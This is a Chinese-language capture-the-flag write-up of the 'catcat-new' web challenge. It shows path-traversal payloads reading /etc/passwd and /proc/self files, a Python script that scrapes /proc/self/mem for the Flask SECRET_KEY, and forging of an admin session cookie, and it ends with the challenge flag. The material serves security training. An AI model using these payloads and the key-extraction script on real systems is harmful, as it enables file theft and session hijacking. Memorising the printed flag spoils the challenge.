攻防世界web--catcat-new
攻防世界web--catcat-new
【难度】:2
【考点】:文件包含、敏感目录、session伪造
【思路】:通过url判断为文件包含漏洞,读取敏感目录获取到app.py,代码审计出session条件判定相关的信息后进行伪造session读取flag。
【详解】:
进入题目网页,可以看到很多猫,随便点点没发现啥。
使用dirsearch目录扫面,发现存在/admin可访问,访问显示nonono。
在这里短暂的卡了会,在点击猫跳转后发现url会发生变化,这有个很明显的文件包含:http://61.147.171.105:58466/info?file=Egyptiancat.txt
。
尝试访问etc/passwd:http://61.147.171.105:58466/info?file=../../../../../../etc/passwd
,成功,说明确实是文件包含漏洞。
/etc/passwd:linux系统保存用户信息及其工作目录的文件,权限是所有用户可读,一般被作为linux下文件读取漏洞存在的判断依据。读到这个文件就可以知道系统又哪些用户、他们属于哪个组、工作目录是什么。
接下来继续尝试访问一些敏感目录,?file=../../../../../proc/self/cmdline
/proc/[pid]/cmdline:指向该进程对应的终端命令。
可以该进程曾运行了app.py,说明存在有app.py。访问它:?file=../../../../../proc/self/cwd/app.py
/proc/[pid]/cwd:指向该进程的运行目录。
将app.py格式化后进行代码审计。。。
import os
import uuid
from flask import Flask, request, session, render_template, Markup
from cat import cat
flag = ""
app = Flask(
__name__,
static_url_path='/',
static_folder='static'
)
app.config['SECRET_KEY'] = str(uuid.uuid4()).replace("-", "") + "*abcdefgh"
if os.path.isfile("/flag"):
flag = cat("/flag")
os.remove("/flag")
@app.route('/', methods=['GET'])
def index():
detailtxt = os.listdir('./details/')
cats_list = []
for i in detailtxt:
cats_list.append(i[:i.index('.')])
return render_template("index.html", cats_list=cats_list, cat=cat)
@app.route('/info', methods=["GET", 'POST'])
def info():
filename = "./details/" + request.args.get('file', "")
start = request.args.get('start', "0")
end = request.args.get('end', "0")
name = request.args.get('file', "")[:request.args.get('file', "").index('.')]
return render_template("detail.html", catname=name, info=cat(filename, start, end))
@app.route('/admin', methods=["GET"])
def admin_can_list_root():
if session.get('admin') == 1:
return flag
else:
session['admin'] = 0
return "NoNoNo"
if __name__ == '__main__':
app.run(host='0.0.0.0', debug=False, port=5637)
发现/admin的条件判定:
@app.route('/admin', methods=["GET"])
def admin_can_list_root():
if session.get('admin') == 1:
return flag
else:
session['admin'] = 0
return "NoNoNo"
当session中admin=1时可以读取flag,admin=0时则返回nonono,这正是我们刚刚访问admin时的回显内容。那我们便需要伪造session使admin为1.
但是要进行session伪造,我们需要知道session的密钥。没找到什么关于密钥的信息,止步于此了。orz。。去看了看WP:
python存储对象的位置在堆上,app是个Flask对象,而secret key在app.config[‘SECRET_KEY’],可以通过读取/proc/self/mem得到进程的内存内容,进而获取到SECRET_KEY
但是/proc/self/mem不可直接读取,因为存在一些不可读的未被映射部分。因此需要读取/proc/self/maps获取堆栈分布,结合maps的映射信息来确定读的偏移值
读取?file=../../../../proc/proc/self/maps
,并将其中的内容存储到text.txt中,使用大佬的脚本orz:
import re
import requests
maps = open('text.txt') # 打开名为 'text.txt' 的文件并赋值给变量 maps
b = maps.read() # 读取文件内容并赋值给变量 b
lst = b.split('\\n') # 根据换行符 '\n' 将文件内容拆分为列表,并赋值给变量 lst,映射表中的内容是一行一行的。
for line in lst: # 遍历列表 lst 中的每一行内容
if 'rw' in line: # 如果当前行包含 'rw','rw' 代表该内存区域可读可写,'r'代表可读,'w'代表可写
addr = re.search('([0-9a-f]+)-([0-9a-f]+)', line) # 使用正则表达式在当前行中搜索地址范围并保存到变量 addr 中
start = int(addr.group(1), 16) # 将地址范围的起始地址从十六进制转换为十进制,并赋值给变量 start
end = int(addr.group(2), 16) # 将地址范围的结束地址从十六进制转换为十进制,并赋值给变量 end
print(start, end) # 打印起始地址和结束地址
# 构造请求URL,用于读取 /proc/self/mem 文件的特定区域
url = f"http://61.147.171.105:58466//info?file=../../../proc/self/mem&start={start}&end={end}"
# 发送 GET 请求并获取响应
response = requests.get(url)
# 使用正则表达式从响应文本中找到符合指定格式的 SECRET_KEY
secret_key = re.findall("[a-z0-9]{32}\*abcdefgh", response.text)
# 如果找到了 SECRET_KEY,则打印并结束循环
if secret_key:
print(secret_key)
break
得到密钥值:8a8ec6a243b14dbea887b7efb052a3ce*abcdefgh
接下来进行session伪造,使用工具:flask-session-cookie-manager
解密格式:
python3 flask_session_cookie_manager3.py decode -s "密钥值“ -c "session"
加密格式:python3 flask_session_cookie_manager3.py encode -s "密钥值“ -t "需要加密的内容”
在/admin界面抓包,我们可以解密一下它的session:
可以看到它的admin确实为0,接下来我们伪造admin=1进行加密:
在burp中修改session为伪造后的新session并发送,可以看到flag。
flag:catctf{Catch_the_c4t_HaHa}